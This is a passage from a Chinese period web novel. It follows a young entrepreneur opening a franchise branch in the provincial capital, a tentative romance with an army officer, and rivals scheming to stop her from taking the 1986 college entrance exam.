赵福跟她们俩不一样，他倒是觉得没啥，正好奇地四处张望，看什么都觉得稀罕。 林珊不想打扰他的好兴致，但还是提醒他要小心被偷。这车上藏着多少小偷小摸，又藏着多少想拐卖妇女儿童的人贩子，谁又说得清呢。 她前世看过纪录片，知道这时候的铁路公安破获了不少大案，人员配置也比后世强很多。可见这火车上还是藏着很多危机的。 赵福猛点头，下意识把周围的人打量了一圈，刚开始不觉得，这会儿怎么看谁都不像好人呢。 四个多小时后，火车慢悠悠地开到了省城。 赵福和李娜一改在车上的拘谨，人瞬间活了过来。许国昌和许国强来接的她们，说老二有事儿离不开，林珊一行人坐上他们开来的摩托三轮车，风驰电掣般地行驶在省城的大街小巷。 赵福被街道两边的繁荣景象给镇住了，偷偷对林珊说：“娘咯，这省城多开铺子的也太多了吧！” 林珊笑了笑，这才只是省城，等到了首都京市，南边的沪市，那才真叫大开眼界呢。如果她没记错的话，明年第一家洋快餐就会入驻京市。据说三百七十五万的投资，一年半就回本了。要知道那可是1987年，可想而知京市的消费潜力有多恐怖。 她们这等小包子铺算什么呢。安河太不起眼了，省城也才刚刚能看，等混到大城市才能叫全国知名啊。 “姐！好高的楼！”李娜兴奋地指着远处一栋大楼让林珊去看。 安河最高的楼也就六层，李娜指的那个看上去得有十层，确实不矮了。 许国昌骄傲地笑着说：“这是咱们省城最高的楼，汉州大饭店！里头接待的都是大人物！” “哇！”李娜和赵福非常捧场地发出惊叹声。 林珊也礼貌地竖起大拇指。她记得这汉州饭店好像是一个港城富商和省城政府一起投资的，规格在这个年代确实很高。 这位富商早在79年的时候，就在粤城投资了一家宾馆，据说是全国第一家五星级宾馆。 林珊望着这栋大楼，内心充满了无限的憧憬，等以后有大钱了，她也要盖大楼，盖酒店！ 第66章 第66章 省城第一分店 许国昌兄弟俩把林珊他们拉去的, 是靠近烟厂家属院附近的一个招待所。 林珊三人来之前就找人把介绍信都开好了，前台的大姐一看，立刻就麻溜地安排他们入住。 这年头的招待所很简单, 房型也非常统一，而且是按人头数收费的。林珊三个人住一天就要花上七块钱, 都够买一大袋子大米了。不过这也只是暂时住一晚上，许家兄弟已经帮他们安排好了别的住处, 只是这会儿还没收拾妥当，要等明天才能入住。 在招待所安顿好之后, 几人在食堂简单吃了一碗面, 林珊他们就跟着许家兄弟去找店面了。 许家人为了开店，是做了十足的准备。虽然他们没经验, 但是哪儿人多还是很清楚的, 在林珊没来的这几天里, 已经自己物色了几处地方，就等来了之后给参考参考。 省城汉州市地方不小, 每个区都有自己的商业圈, 许家扎根在城北, 所以首选肯定是城北的热闹地带。 许家兄弟开着摩托三轮带他们一共逛了三间铺子，其中俩家被林珊一看就pass掉了，第三家地方很宽敞，完全够熟肉和包子一块儿开卖，前后也都非常热闹, 除了租金贵, 别的没有任何毛病。 逛完城北他们又去其他几个区看了看，最后一天下来，综合考虑还是城北那间铺子最理想。 林珊回去仔细算了笔账, 如果店面能谈到45块钱一个月，就可以立即拿下。许家兄弟也想租这个店面，毕竟这地方前后左右都是各大厂的家属院，一整条街都是铺子，是城北老百姓逛街买东西的首选。 所以又逛了一天也 没有好门面之后，许家兄弟开始托人跟那老板谈了。动了几层关系，磨了半天，最后以45.5元的价格拿下。 解决了店面，首先要进行的装修和购置设备。装修风格和布置全部按照安河的店来，虽然看着简单，但操作台和那些动线的设计，都是经过很多实践得来的。美观干净又好用。 林珊来之前把店规誊抄了好多份，一一发放给许家兄弟。一个店的规矩需要所有人来维护，老板要比员工更尽责才行。 三人很是很惊讶，从选购食材，到打扫卫生，到服务员礼貌用语，再到所有物品的摆放等等，居然全都都有规定。真没想到一个包子铺能有这么讲究。 服务员的招工告示贴出去之后，很快就有人来应聘了。林珊帮他们挑选了四个人，再加上许家的两位亲戚，正好是三男三女，年纪都是二十岁出头，让他们先跟着李娜培训最基础的东西。 店内每天都在装修，桌椅板凳也都买齐刷了白漆，招牌正在制作，买肉买菜的地方，也陆续找到了价格合适的供应商，林珊和赵福全程帮着他们一块儿，把这些东西一一搞定。 许家三兄弟看着自家的铺子一天一个样儿，心里说不出的成就感，特别期待开张的那天。 林珊见店里该准备的都准备得差不多了，他们也来了三个礼拜了，知道是时候把林红接过来了。王军因为不放心林红一个人坐火车，又不想让林珊他们来回跑浪费钱，所以他就借了队里的车，直接把林红送到了省城。 这年头开车比坐火车快，三个多小时，林红就带着所有的底料来到了省城。 王军把车停在许家三兄弟给找到的房子门口时，许国强暗暗惊讶，没想到林家在公安局也有人。一问才知道，居然是小林老板的未来姐夫，这关系不更硬了吗！ 王军自己开车送林红过来，其实也是想起个震慑的作用。他来过省城不少次，知道这地方的人多少有点儿欺生，林珊他们几个都是初来乍到的，别再这儿给人欺负了。 林珊感谢他把林红送过来的同时，也感激他的用心。把公安局的车往门口一停，对这个年代的人还是很管用的。邻居大婶对他们都热情了一个度。 林红来了之后，意味着后厨需要正儿八经开始干活了。 许家兄弟三人都有工作，许国强虽然班儿上的吊儿郎当，但是也不能天天在铺子里，所以他们家负责看铺子的是堂弟许□□两口子，夫妻俩都是三十来岁，目前又都是个临时工，在哪儿干都一样。 林红因为之前经常培训安河店里的后厨，已经摸索出了一套培训他们的方式，许□□老婆和许家的另一个亲戚，试着做了一个礼拜也就上手了。 许家三兄弟之前有点担心秘方被招来的工人学走怎么办，那他们岂不是白加盟了。后来见林红倒出来的那些一包又一包的底料，才知道这个是人家的机密，保密工作根本不用他们操心。 没了这几包最核心的东西，就算知道了猪肉的火候也没用。葱姜蒜这些都在明面上摆着，家家都用，这都不是啥秘密，关键是人家那些粉包熬出来的汤和炸出来的油。 许国强本来还存了一些偷师的心，在后厨看了几天后，就彻底放弃了。 装修完成，服务员培训结束，后厨也全部上岗之后，开店的准备基本就做好了。员工的围裙和帽子，许家的媳妇儿们也都按照林珊的要求给做好了。 “爱国大肉包”和“爱国熟肉”的招牌已经挂上了，巨大的门脸儿非常醒目，店铺左边小一点儿的是熟肉区，各种卤味应有尽有，右边大一点儿的是包子区，兼卖猪杂面和小馄饨。中间立起隔断的同时还留了个巨大的门，方便两边的食客走动。 铺子还没正式开张，就已经引来不少人驻足围观。许家人对包子铺是既充满了期待，又万分紧张。这投了这么多钱，可一定要全都挣回来啊。 四月十日，宜开业。 “爱国大肉包”省城汉州分店放了一长串鞭炮之后，正式开始营业。 开业首日包子买一送一，熟肉买一斤送二两。许家人除了许老爹和许老娘之外，全家齐上阵，发传单的发传单，吆喝的吆喝，亲朋好友们也都热情的过来捧场，加上受到吸引的大批顾客，一时间整个铺子里里外外都是人，队伍排了好几个门店那么长。 许老爹和许老娘站在门口笑得合不拢嘴，许家老少忙得不可开交。 林珊一行人，全程协助所有人维持着整个店的运转。一天下来，营业额直接突破一千一百块。 许家人高兴坏了，非要拉着林珊几个在店里喝口小酒庆祝。 林珊虽然也很开心，但还是要打预防针，“头一天有人捧场，也有人因为好奇才来的，之后营业额会小幅度下降，大概需要一个月左右才能稳定下来。” 省城不像安河，这里物价高，人多，需要辐射的面积很大，大概一个月才能知道门店到底留住了多少客人。不过以她们的熟肉和包子目前受欢迎程度来说，不太需要担心留存的问题。 食物也存在时髦性。不但要好吃，还要新鲜，是他们在别的地方没吃过的。不然等满大街都是的时候，再好吃，也就那么回事儿了。他们的包子和熟肉现在还是新鲜口儿，等时代发展起来，大家吃过的好东西越来越多之后，自然就不会被追捧了。 所以企业的创新永远不能停，永远要有新的东西出来。经典要有，新货更要有。 省城店的包子和熟肉卖得都比安河贵不少，一个地方一个物价，在这里他们东西的价位属于“好吃，稍微有些贵，但在可以接受的范围”，主打品质和口碑。 第二天，营业额果然下降到了八百多块。 第三天，九百五十多。 第四天，依旧是九百多。 许家人非常高兴，照这么下去，刨除加盟费，真得差不多只要三个月，就能把其他本钱都给赚回来了！看见赚大钱的希望，所有人都无比兴奋。对林珊一行人也是越来越热情了。如果说一开始他们还有点儿担心能不能行，现在心里的石头算是落地了，就差把林珊当财神爷了。 分店生意好，林珊自然开心。品牌和口碑打出去的同时，公司也能赚到不少钱。毕竟营业额越高，底料的需求量就越大。双赢才是真的赢。 铺子渐渐走上正轨，林珊也计划着要回安河了。以后加盟店越多，他们的供货量就会越大，这部分的营收会逐渐成为公司的大头，她需要改回去优化一下底料的成本供应和运输方式。另外时间紧迫，她也要开始专心准备高考了。 赵福会留在这儿带完许家兄弟这一个月，她们这帮女同志们先回去。 许家兄弟得知林珊她们要先走，顿时是既有几分不舍，又有一点儿不放心。通过这段时间的共事，他们都知道了包子铺的确是小林老板做出来的，什么事儿都是她做主，她出主意，脑子是真好啊，做事圆滑中又透着原则，着实让人佩服。 她就跟所有人的主心骨似的，领着大家朝着目标前进，她这么突然一要走，大家心里还真有些不适应。不过天下没有不散的筵席，人家本来就是来帮着开店的。再说了，她还把赵福留下了。赵福的能干他们也都是看在眼里的。 林珊又交代了三兄弟一些营销手段之后，就准备回去收拾东西了。结果她前脚刚出铺子门，就结结实实撞上一个胸膛。 抬头刚要说对不起，发现居然是贺正岩。 第67章 第67章 就她最合适 贺正岩下午来城北这边办事, 正想说这什么铺子人这么多，定睛一瞧，发现上头的招 牌赫然写着“爱国大肉包”和“爱国熟肉”！ 他一开始还心说：会不会是巧合。可招牌上林爱国那张笑脸他太熟悉了, 而且还又卖包子又卖熟肉，天底下不会有这么巧合的事儿。 所以他把“大侉子”往边儿上一停, 几步就挤了进去。原本还准备跟人打听一下，结果迎面就撞上了他想找的人。 他身上的伤已经康复了, 但在看见林珊的第一眼，他脑子里还是不自觉地蹦出自己受伤时候的画面, 而且还是那种湿棉签和洗头的画面。 他强压着内心的混乱, 看着眼前惊喜万分的林珊，把她带到一边儿人少的地方说话。 “你怎么在这儿？” “你伤好了吗？” 两人同时开口。 “好了。” “开加盟店。” 又同时回答。 这种一开口就撞在一起的状况有些好笑, 林珊乐出声来, 贺正岩也眼里含着笑。 “好了, 我先说，省城有人加盟我们的铺子, 所以我们过来帮他们开店。‘加盟’你知道吧, 我之前在信里跟你说过。”林珊轻声解释。 贺正岩点点头, 他知道加盟什么意思，就是没想到她居然真干成了，“恭喜你。” 林珊笑了，“你的伤彻底好了？” 贺正岩：“彻底好了。” 林珊笑得更开心了，“你部队在这附近吗？” “离得不远, 我出来办点儿事儿。”贺正岩解释完, 顿了会儿，又问她：“都谁跟你过来的？” 林珊：“我姐，还有赵福和李娜, 你都见过的。” 贺正岩点点头，人不算少，还有男的，安全应该不成问题，“什么时候回去？” 林珊：“就这两天吧，我现在回去收拾一下东西，明天一早去买火车票，看看能买到什么时候的。” 贺正岩：“我帮你买。四张票对吧？” 林珊赶紧摆手，“不用不用，现在这个时候票应该不算特别紧张，不用麻烦你了。” 贺正岩面无表情：“不麻烦。” 林珊也不是那种喜欢麻烦人的人，但是见他一脸严肃认真，又觉得经过一个年，大家的关系处得好像还挺近的，一直拒绝确实显得很生分，所以她比出三根手指头，不好意思地说：“那要是不麻烦，就请贺大哥帮我们买三张硬座票吧。” 贺正岩点点头，“一共来了四个人，谁不回去？赵福？” 林珊：“嗯，还需要他再留下来帮一段时间的忙。” “行。”贺正岩心里有数了，“那我明天早上过来给你送票，你们住哪儿？” 林珊把地址说了，那地方离铺子也不远，走路十分钟就到。贺正岩对那条胡同有些印象，点了点头，跟她约好明早七点半见。 俩人说完了正事儿，一时间又都没有想到别的话可说，静悄悄的气氛着实有些尴尬。 “那个……上次带回去的肉和包子应该都吃完了吧？我再给你拿点儿吧，这边开了店，以后你想吃什么也方便。”林珊笑着说完，就要回铺子给他准备。 贺正岩一把拉住她，“以后我想吃自己来就行，先仅着其他客人，不急这一会儿。” 林珊见他这么说，又拽不动胳膊，只好罢了，“那你吃饭了没？刚好到饭点儿了，你要是有时间的话，咱们去吃个饭？我请你。” 贺正岩怎么可能让她请客，顿时忘了自己办完事就要回去写研究报告的计划，直接指向停在路边的大侉子，“走吧。” “稍等一下啊。”林珊跑回去跟赵福说了一声儿后，坐上了在后世几乎销声匿迹的，由苏联传过来的侧三轮摩托车，俗称“大侉子”。 贺正岩把座儿上的头盔给了她，自己一抬腿，跨上摩托启动出发。 “大侉子”突突两声，嗖一下就飞出去了。 摩托车突突突地响，林珊坐在挎斗里意外的很稳当，虽然这两天有点儿冷，但整体感觉还是非常舒爽的。两辈子头一次坐这种车，一时新奇得不行。 贺正岩见她笑得开心，嘴角也不自觉地往上扬。 吃饭的地方选的是一家个体户开的饭馆，占地面积一点儿不国营饭店小，里头的生意极好，一看在省城就非常吃得开。 贺正岩找了个位置后，介绍特色菜给她，“我之前来过一次，觉得他们黄鳝做得还不错，山珍炖鸡也挺鲜。” “好，那就来这两个。”林珊看着墙上的菜单，感觉再来上一个素菜和一盘饺子当主食就够了，太多吃不下，浪费就可耻了。 贺正岩按着她说得又点了素菜和饺子，还去门口要了两瓶汽水，起子一开递过去，“给。” “谢谢。”林珊发现省城的汽水儿居然还有菠萝味儿的，挺新鲜的。喝进去一口虽然没有冰镇的爽快，但是现在才四月初，也足够清凉了。 贺正岩见她喝个汽水都能一脸的满足和开心，心想真跟个小孩子似的。 可你要说她是孩子吧，今天一见面，他还有点儿恍神，在医院的时候她天天穿着个蓝褂子棉袄，看起来跟个十八岁的小姑娘似的，突然见她这一身儿呢子大衣配皮鞋，感觉像换了个人。头发也没跟之前一样编成两个大辫子，而是单独扎在后头，让她看起来一下子成熟了不少，整个人明艳照人，走到哪儿都能吸引所有人的目光。 这会儿这饭馆里，不管男男女女，就没有不看她的。而她好像早习惯了被人注视似的，自在的该干嘛干嘛。 林珊见贺正岩一直盯着自己看，有些羞窘，不自在地摸摸脸，小声问他：“怎么了吗？” 贺正岩摇摇头，赶紧收敛了一下自己的视线。 其实从安河回部队之后，他不时就会想起母亲说的话，还有跟林珊那几天的相处。再加上政委胡大志不知道从哪儿知道了他要找对象，三天两头提出要介绍人给他，领导们居然也跟着来凑热闹，贺正岩觉得自己这段时间别的啥都没干，净四处躲着他们了。 好在事情没有失控之前，他就直接明确拒绝了一切说亲，不然家门口都要被踏烂了。 母亲说得对，与其跟陌生人相来相去，还是知根知底儿的要好一点儿。京市那些跟他一块儿长大的，要是有合适的，肯定早在一块儿了。而且，他从内心也比较排斥了解他家庭背景，又同在一个圈子的姑娘，不是说人家人品有问题，纯粹是他自己不想牵扯进那些复杂的人际关系里头。 所以贺正岩想来想去，觉得好像真得是林珊最适合。不过这也只是他自己心里这么想，还不知道人家对他有没有那个意思。 前两天夜里闲下来的时候，他还在为怎么确定她的想法发愁，想说写封信？还是打个电话？写信写什么呢？一直一来都是林珊给他写信，他简单回应一下，现在换成他想写了，一时还真不知道怎么下笔。 打电话就更不知道该说什么了，而且她留的电话号码还是王军工作地方的，把人叫过去说些没头没尾的话，光想想，他就尴尬得直打哆嗦。 心里好不容易升起的小火苗，还没来得及燃烧，就被自己脑子里的那些尴尬给吓到了，搞得他决定顺其自然。 不过，好在才刚顺其自然了两天，竟然就让他直勾勾撞上了林珊，贺正岩自己都忍不住觉得，这是老天爷在帮他。 菜一道道上齐，招牌爆炒黄鳝做得确实非常好吃，林珊浅浅地一尝，眼睛都亮了，“好吃！” 贺正岩挺开心，“喜欢就多吃点儿。” 林珊又尝了炖鸡，滋味更是鲜美的不得了，“太好吃了！”这年头的鸡就是不一样，纯天然无公害，再配上那些山珍一炖，简直能把人吃迷糊了。 贺正岩笑了，除了一句“好吃就多吃点儿”，他发现自己是真不会说话。脑子里没有半点儿讨女孩子欢心的知识储备，见了面除了问候一下情况，接下来就不知道该说啥了。 他忍不住在心里鄙视自己，真没出息啊，感觉打仗比谈对象容易多了。上一秒想说点儿什么闲话，下一秒就会立刻开始觉得合不合适，行不行，会不会让她误会。憋来憋去，最后都只是一句话，让她多吃点儿。 林珊完全没察觉出来贺正岩的不对劲，这顿饭简直太好吃了，在省城待了 一个多月，就属这顿饭最满足。不仅肉菜好吃，素菜炒得也好，饺子就更不用提了，面皮劲道，肉馅儿扎实，一口下去快活似神仙啊。 时不时再上口汽水，简直不要太完美了！ “你也多吃点儿啊。”林珊突然发现贺正岩只顾着让她多吃，他自己倒是没怎么开动，赶紧把黄鳝和炖鸡往他面前推了推。 贺正岩收敛心神夹起黄鳝吃了起来，抬眼见林珊对自己笑了。 说来也挺奇怪，他以前怎么就没发觉她长得这么好呢。只知道小姑娘挺漂亮的，但也仅限于此了。这会儿离得近，他好像又闻到了她身上的香味儿。 按理说应该闻不到，毕竟正吃着饭呢，到处都是饭香。但是不知道怎么搞的，他就觉得自己闻见了，当初在医院她给他湿嘴皮子的时候，闻到的那股香味儿。 心脏突然就有点儿不受控制，喉咙也跟着开始发紧，他整个人绷得像个铁面雕塑似的，连饭都吃不自在了。 第68章 第68章 研究一下 贺正岩僵硬又开心地吃完了一顿饭。 两人把四道菜扫得干干净净, 林珊去付钱的时候，被他一把薅住，“我来吧。” “说好我请客的, 怎么能让你破费呢。”林珊说着开始掏钱，何耐钱是拿出来了, 人却被固定在椅子上不能动弹，贺正岩一只手按住她的肩膀, 叫来服务员把账结了。 “……”林珊有点儿窘，“手可以松开了吧。”不知道的还以为他在押罪犯。 贺正岩倏地收回胳膊, 不自在地咳了一下, “那什么，走吧。” 回去的时候天色已经暗了, 风也比之前凉, “大侉子”突突突突地飞驰在省城的大街小巷, 林珊回想着刚才结账的事儿，突然有点儿想笑, 头一次遇见这种擒拿式抢单。 “下回能不能让我请你啊？”她在突突突的发动机声中, 提高音量询问。 贺正岩一开始没听清, 直到她说了第二遍，他才点了点头，大声解释道：“你第一次来汉州，应该我请你。” 林珊无奈地笑了，跟他约定：“下次不管是安河还是汉州, 你都必须让我请。” 贺正岩“嗯”了一声, 忍不住看了看她。 他现在有点儿体会到，为什么以前那些朋友特别爱带姑娘出去兜风了，滋味儿确实不赖。 可惜回去的路程有些短, 没一会儿就到了林珊住的地方。 贺正岩认了下门，再次约定好明天早上见面之后，骑上“大侉子”回了部队。 林珊回去之后，发现林红和李娜已经都收拾得差不多了，她赶紧帮着一起打包，顺便还把房间打扫了一下。人家给他们住的时候干干净净，走得时候也应该给人家收拾回原样。由于赵福还要再待上一些日子，他那屋她们就没动。 林红问林珊：“贺领导明天七点半就来啊？” 林珊：“是，他说要是能买到当天的票，来送票的时候正好把咱们捎到车站，省得咱们这么多东西找车不方便。” 林红点点头，好好感谢了贺正岩一番。 次日七点半，贺正岩准时出现在门口，林珊一见他开的是一辆212，就猜到票应该是今天的。 果然，贺正岩掏出三张票给她，“十点钟的，时间比较充裕。” “谢谢！”林珊接过火车票，发现上头写的居然是卧铺！ 贺正岩解释道：“你们三个女同志，还是选个安静点儿的位置靠谱。”昨天傍晚他回去之后，厚着脸皮搞了三张卧铺票，花了小半个月的工资，和两罐黄桃罐头。 “太谢谢了！”林珊除了感谢不知道还能说什么。她立刻跑回房间把钱拿出来给他，贺正岩本能地拒绝。 林珊把钱强塞到他口袋里，严肃地说：“这钱你必须收，不然我们成什么了，哪有请人帮忙买票不给钱的！” 贺正岩见她这么认真，又一细想这钱他好像确实没有身份不收，他们现在虽然熟了一些，但是还远没有到可以给对方花钱的地步。虽然他自己心里有了想法，但是很明显人家可没有，还是坦坦荡荡的把他当成大哥的老连长。 他这样不收钱，反而会让人家不舒服。 想明白这点，贺正岩就把钱收了。林珊立刻对他笑开了颜，“谢谢贺大哥，你吃饭了吗？” “吃了。” “再吃点儿吧，我姐刚下了小馄饨，咱们一块儿喝点暖暖身子。”林珊把他安排到客厅的桌子边入座。 赵福和林红也来劝他再吃一点儿。 本来就吃了两口早饭的贺正岩，也就顺势喝了碗馄饨。许家三兄弟随后过来送行，一见林家姐妹还有省城部队的车送行，顿时惊讶得都不知道该说什么了。这又是公安又是部队的，看来小林老板家确实不简单啊！ 一帮人饯完行，贺正岩开着212把三位女同志送到了火车站，并把她们的大包小包也一并搬上了车。 卧铺跟硬座车厢兼职一个天一个地，这里人很少，非常安静整洁。 贺正岩把她们的行李都安排好，交代道：“一共四个多小时，就不要来回进出包厢了。注意安全，不要随便相信陌生人。” 三人乖乖点头称是。 林珊感觉他有点把她们当小孩儿了，不过被人这么照顾和关心感觉非常好，她是打从心里感谢贺正岩，“贺大哥，你为我们家做得太多了，下次再见面的时候，一定要让我们好好招待你，千万不能再拒绝了，好不好？” 贺正岩看了她一会儿，轻点了下头。 她笑得天真无邪、无比开心，他心里却有点儿不是滋味。感觉这回见面的时间有点儿短，下回再见就不知道是什么时候了。看她笑成这样，很明显跟自己没有半点相同的心情。 林珊肯定就没往那方面想过，完全只没把他当成是一个可以考虑处对象的人选。 其实这再正常不过了，毕竟在他母亲没有提开之前，他自己也没往那方面想过。 很快到了下车的时间，贺正岩收拾好有些复杂的心情，挥挥手目送她们离开。没事儿，现在没往那方面想，不代表以后不会。知己知彼百战不殆，他回去得好好研究一下，到底怎么才能把女同志拿下。 林珊她们几个一回到安河，就被围得团团转。 大家都想知道省城的店开得怎么样了，她简单把情况一说，所有人连连惊叹，没想到那边的生意居然比安河的还好！ 服务员们非常羡慕李娜能跟着去省城，以后要是也能带他们出去就好了。 林珊鼓励了大家一番，只要干得好，人人都有机会去外面。不光是省城，以后“爱国大肉包”还要去更大的城市。 员工们备受鼓舞，各个铆足了劲儿要评个先进，这样不仅能加工钱，还能跟着去大城市看看，谁不想要这好事儿啊！ 林珊把各个店都视察了一遍，看了看这一个多月的账本，发现大家都干得非常出色。没她在完全没有问题，底料的供应也非常顺畅。 鉴于以后底料的供货量会越来越大，她决定把公司的西屋作为备料仓库，以后就不用在家里备那么些东西了。 底料所需要的原材料她又跑了好几个市场，跟人敲定了大量采购的价格，因为量多，还能送货上门。磨台她也添置了一台稍微大点的，这样研磨的效率更高。 等忙完这一切，已经四月二十号了。八六年的高考在7月的7、8、9三天，但是在五月还有一个预考，通过了才能参加正式的高考。 林珊已经被黄月萍老师找上门好几趟了，接下来的日子，她 得多往学校跑跑。 上公司来洽谈“加盟”的人越来越多，有不少好奇的，也有不少是真心想开，但是钱不够的。总之在赵福回来之前，没有谈成一笔生意。 赵福回来之后，林珊让他负责各个店的日常管理，每天巡店和归总，忙得也是团团转。这段时间他进步很大，下一次再有加盟商，她会直接让他全程跟进。 五月份的时候，林珊通过了高考预考。 赵桂花开心地见人就提这事儿，一副闺女已经考上大学的模样。 郭有财的一个临市的朋友对加盟感兴趣，赵福全程主导，谈成了他人生的第一笔大买卖。林珊只有在最开始的时候，跟着去了一趟临市，接下来就全程放手。 虽然中途也短暂出现过一些小问题，但是都一一解决了，经过两个多月的努力，临市的“爱国大肉包”分店，终于顺利营业，并且营业额每天都在稳步攀升。 这次临市的分店，负责培训后厨的是王芳，她跟着林红培训了一些日子已经出师了。李娜这次还是负责培训服务员，不过跟她去的还有城东分店的一个优秀服务员，这样带带她，以后就不用回回都是李娜负责。 城南店那边少了王芳，林珊就再招了一个店长。这人叫张学强，三十五岁，跟李春刚背景很像，非常能干，人也踏实，把城南店经营得红红火火，上个月营业额居然还超过了城东店。搞得城东的徐娟这个月像打了鸡血似的，发誓一定要反超回来。 日子忙碌充实，很快就到了高考的日子。 “爱国大肉包”的所有员工都知道，小林老板要高考，几乎都替她捏把汗。赵桂花更是夸张得偷偷烧了香拜了佛，保佑她一定要考上。 林红一天三顿都给她做好吃的，就连王军和王大娘也经常过来看她的学习情况。 林珊上辈子是自己坐公交车去高考的，没人等，没人关心，全程静悄悄。这辈子，她倒是有幸体会了一把后世那种，一人高考全家总动员的滋味。 她有点儿受不了这种甜蜜的负担，天天盼日子赶紧来，早考早解脱。 由于86年整个汉北省的高考实行“3+2”模式，林珊只需要考五门就行。不过虽然是五门，仍然需要三天时间。 七号上午考语文，下午考化学。八号是数学和英语，九号上午是物理，下午是政治和生物。 林珊只需要在九号上午做完物理，她的高考就结束了。 林家所有人都在翘首以盼高考的到来，整个城西高中的老师们同样既紧张又兴奋，他们只求林珊能够正常发挥，因为只要不出意外，她就一定能考上京大清大！ 然而，在一个阴暗的角落里，被学校开除，名声彻底扫地，在局子里关了小半年的邢艳红，正咬牙切齿地发誓：“等着吧狐狸精小贱人！想参加高考下辈子吧！” 第69章 第69章 居然想高考 原本要判上七八年的邢艳红, 因为有个好爹和好大哥，教她没证据的打死不认，有证据就死命把所有过错都推到副校长李向前身上, 再加上一大通的关系运作。 邢艳红只在里头住了小半年，就偷偷摸摸出来了。 她现在被离了婚, 孩子也都嫌她丢人，没了工作, 没了名声，啥都没了, 每天只能窝在家帮着哥嫂操持家务, 大门都不敢迈出一步。 她把这一切都归咎于林珊，要不是那个贱蹄子跑到学校害她, 能有后面这些事儿吗？！凭什么她都快被害死了, 那小贱人却啥事儿没有！没天理！ 邢艳红觉得自己身边的所有人, 都是没良心的势利眼，包括之前她优待过得那些学生, 除了林兰还跟她联系之外, 其他人全都不知道躲哪儿去了。 想她那么要强的一个人, 现在沦落到要看所有人的脸色，这仇要是不报，她都对不起自己！ 不过邢艳红她爹和大哥已经狠狠警告过她了，让她务必要老实，林家人后头有大领导撑腰, 再惹她准没有好下场。邢艳红虽然不信林家那绝户头子能有什么人撑腰, 但是她爹和大哥说了，她也就没敢再提。 只是这临近高考，想着要是真让那小贱人考上了大学, 她肯定会被活活气死的。她整天为这个事儿发愁，终于有一回忍不住，在信里对林兰诉了诉苦。 没想到过了几天，林兰就直接把电话打到了她家。 当时家里也没有别人，她索性就一口气把自己心里的委屈全倒了出来。 林兰那边安静了很大一会儿，开始替林珊道歉：“邢老师真得很对不起，林珊怎么说也是我妹妹，是我们家对不起您，她实在太过分了！” 邢艳红听她这么说，顿时眼泪都下来了，“林兰啊，你真是老师的好学生，现在也只有对还这么对待老师。呜呜呜……” 她狠狠哭了一场，忍不住发出感慨：“唉，你这孩子什么都好，就是太善良了。但是你还是要明白，你是你，她是她，你把她当自己人，她心里还不知道怎么恨你呢。在学校坏你名声不说，现在居然还想学你一样，去考上大学，简直脸都不要了！” 林兰在那头叹气，“邢老师，不瞒您说，我其实也有些担心林珊要去考大学的事儿。之前我们两家还住在一块儿的时候，她经常半夜做梦都说要去考大学，人看着都有点儿魔怔了，吓得我婶子还找人给她看过。我以为她后来开了包子铺之后能好点儿，没想到心里还想着考大学呢。唉，可能是当初我跟杨清明考上大学的事儿，对她造成的刺激太大了吧。我怕这回她去试了没考上，人万一再受点儿什么刺激崩溃了，可怎么办啊？” 邢艳红惊叹：“林兰啊！老师说没说过你就是真善美的代表？！你实在是太善良了！她都把你家还成那样儿了，你还惦记着血肉亲情，她但凡要是有一点儿良心，就不该那么对你们！老师替你不值！” 林兰不忘自己的人设：“唉，我爸的事儿说到底是他不对，他跟我二叔有恩怨，也是他们上辈人的事儿，我不能延续这种没有道理的仇恨。不过学校发生的事儿确实是她不对，她以前就爱动手打人，没想到现在仍然没有一点收敛，唉，我这个妹妹啊。” 邢艳红再次为自己得意门生的高尚品格，感到惊叹和佩服，“大学生就该是你这样儿的，林珊那种动不动就要人命的粗鲁野丫头不配！” 林兰叹气：“这回的高考，她要是考不上，肯定会发疯的。考上了，指不定要趾高气昂到什么地步，不管哪种结果，到时候我妈一个人在家……唉，我好担心她会被林珊一家欺负。唉，您说好端端的一个大家庭，现在成了这样呢。她居然还为了上大学，把您也害成这样了，我是真不知道该怎么办了。” 邢艳红哼道：“你放心！她想参加高考没那么容易！” 林兰：“老师，您这话什么意思？” 邢艳红握住话筒小声道：“没什么意思，我在想有什么办法能不让她参加高考的。” 举报是条路子，可是举报啥啊？她一没消息，二没证据的。找个人把林珊的腿打断？她也怕被抓住了自己小命儿不保，但是你让她什么都不做，眼睁睁看着那小贱人去高考，自己却每天在家生不如死的赖活着，她也实在是咽不下这口气。 所以到底有什么招儿，既能不犯法，又能同时让她考不了试呢。 林兰在那头小声询问：“邢老师，您知道林珊在哪个学校考试吗？” 邢艳红：“暂时不知道，不过这个稍微打听一下就知道了，你有什么想法吗？” 林兰叹气：“我能有什么想法啊，我只是觉得，要是考试的路上稍微堵一堵，或者是有个——” “诶！对了！我怎么没想到啊！”邢艳红激动地猛拍大腿，要是路上有个意外，或者被什么东西堵住路了走不了，不就耽误考试了吗？！她这个猪脑子！她怎么就没想到呢！ “好了好了，不说了，老师该忙去了，回头再联系！”邢艳红着急忙慌地挂了电话，立刻开始偷偷摸摸地找人打听林珊的高考信息。 林兰在那头挂了电话，脸色一片凝重。 那死棒槌竟然也要参加高考！而且居然还过了预考！过了预考就意味着她至少成绩是不错的，有资格伸手去够一下大学的门槛！ 虽然她不相信林珊真能考上大学，但是万一呢！而且就算她考上个大专，那在安河也是了不得的事情，到时候多少好工作等着她挑！ 林兰绝对不会允许这种事情发生！那娘仨老老实实在安河卖一辈子包子得了，居然还想鲤鱼跃龙门！做梦！ 林兰自从亲几天接到邢艳红的那封信开始，就一直没睡好觉。她无论如何都不能让死棒槌去高考，连这们心思她都不能动！ 打完这通电话，林兰还是不放心，想了想又拨通了城西高中的电话，接电话的是传达室的大爷，林兰简单问了两句，大爷就直接滔滔不绝地跟她聊起了林珊。 林兰的脸越听越黑，听到后来恨不得把话筒摔了！林珊那个不要脸的死棒槌，居然能成为全校之光？！所有老师的香饽饽？！城西高中唯一的希望？！ 她砰的一声挂了电话，然后被学校通讯室的老师说了一通，这么贵重的东西，摔坏了赔得起吗！ 林兰疯狂地跑进学校的小树林，趁着四下无人，放声怒吼了几声，人才稍微找回一些理智。她现在非常确信，林珊跟她一样重生了！ 不然根本不可能解释这两年来的变化，死棒槌家越来越好，她们家却越来越惨！ 意识到这一个事实的林兰，有些发抖，怎么办，要是真被她考上大学，考到首都来可怎么办？万一那贱人犯贱，非要跟她上同一个大学怎么办？！ 怎么办？！ 她好不容易才飞出安河，踏进首都的大门，找了个那么优秀的男朋友，怎么能允许她过来捣乱！不行，绝对不能让她参加高考！就算弄死她，也不能让她踏进考场！ 七月七号那天，安河下起了小雨。 